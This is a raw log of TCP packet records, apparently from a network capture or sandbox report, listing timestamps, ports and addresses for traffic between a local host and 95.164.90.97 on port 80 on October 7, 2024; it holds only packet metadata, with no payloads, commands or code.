Oct 7, 2024 03:15:40.747982025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772192955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772222996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772248983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772265911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772279024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772280931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772289991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772298098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772314072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772315025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772334099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772352934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772360086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772372007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772387981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772427082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772430897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772448063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772464991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772479057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772483110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772516012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772519112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772533894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772568941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772584915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772613049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772631884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772655964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772659063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772676945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772694111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772706032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772718906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772723913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772742987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772774935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772780895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772797108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772816896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772839069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772860050 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772883892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772901058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.772978067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.772979021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773006916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773022890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773030996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773041010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773056984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773070097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773086071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773087025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773106098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773127079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773129940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773150921 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773160934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773186922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773191929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773211956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773225069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773230076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773247004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773264885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773268938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773283958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773297071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773320913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773391962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773413897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773431063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773444891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773500919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773502111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773519993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773535967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773547888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773564100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773580074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773591042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773596048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773613930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773631096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773643970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773660898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773665905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773679018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773688078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773708105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773724079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773740053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773742914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773761034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773766041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773778915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773791075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773797035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773816109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773832083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773832083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773850918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773868084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773869991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.773889065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.773988962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.774142981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.774169922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.774188042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.774209976 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.774224997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.774241924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.774245977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.774259090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.774275064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.774291039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.774291992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.774310112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.774313927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.774342060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.774353027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.774369001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.774379015 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.774395943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.774411917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.774424076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.774427891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.774480104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.774632931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.795356035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.795399904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.795428991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.795444965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.795453072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.795463085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.795480013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.795491934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.795499086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.795515060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.795516014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.795541048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.795574903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.815766096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.815784931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.815803051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.815820932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.815831900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.815846920 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.815850019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.815871000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.815885067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.815886974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.815926075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.834498882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.834536076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.834592104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.834597111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.834634066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.834645033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.834681988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.834690094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.834723949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.834738016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.834774017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.834778070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.834806919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.834815979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.834842920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.834846973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.834880114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.834913969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.834914923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.834937096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.834948063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.834959030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.834985018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.834990978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.835019112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.835031986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.835056067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.835059881 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.835093021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.835098028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.835133076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859126091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859186888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859188080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859230995 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859246016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859280109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859288931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859314919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859323025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859361887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859370947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859417915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859445095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859478951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859491110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859513998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859525919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859549999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859560013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859591007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859601974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859647036 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859654903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859687090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859700918 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859720945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859724998 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859766006 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859776974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859811068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859822035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859854937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859864950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859909058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859916925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859951019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859963894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.859986067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.859996080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860021114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860029936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860065937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860074997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860122919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860130072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860172987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860188007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860220909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860254049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860270977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860304117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860307932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860338926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860347986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860380888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860390902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860425949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860440969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860460997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860474110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860496044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860507011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860531092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860541105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860577106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860584021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860630035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860642910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860677004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860688925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860711098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860723972 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860744953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860755920 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860779047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860783100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860816956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860826015 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860862970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860869884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860905886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860917091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860945940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.860956907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.860991955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861004114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861037016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861043930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861079931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861089945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861114025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861124992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861150026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861159086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861183882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861195087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861221075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861229897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861265898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861269951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861316919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861323118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861360073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861367941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861393929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861403942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861428022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861438036 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861462116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861473083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861495972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861506939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861531973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861542940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861567974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861578941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861603022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861614943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861637115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861649990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861671925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861681938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861706972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861717939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861741066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861751080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861776114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861785889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861810923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861819983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861849070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861857891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861884117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861888885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861918926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861929893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861953974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861963034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.861989021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.861999989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.862024069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.862035990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.862060070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.862068892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.862096071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.862107038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.862129927 CEST	80	49737	95.164.90.97	192.168.2.4
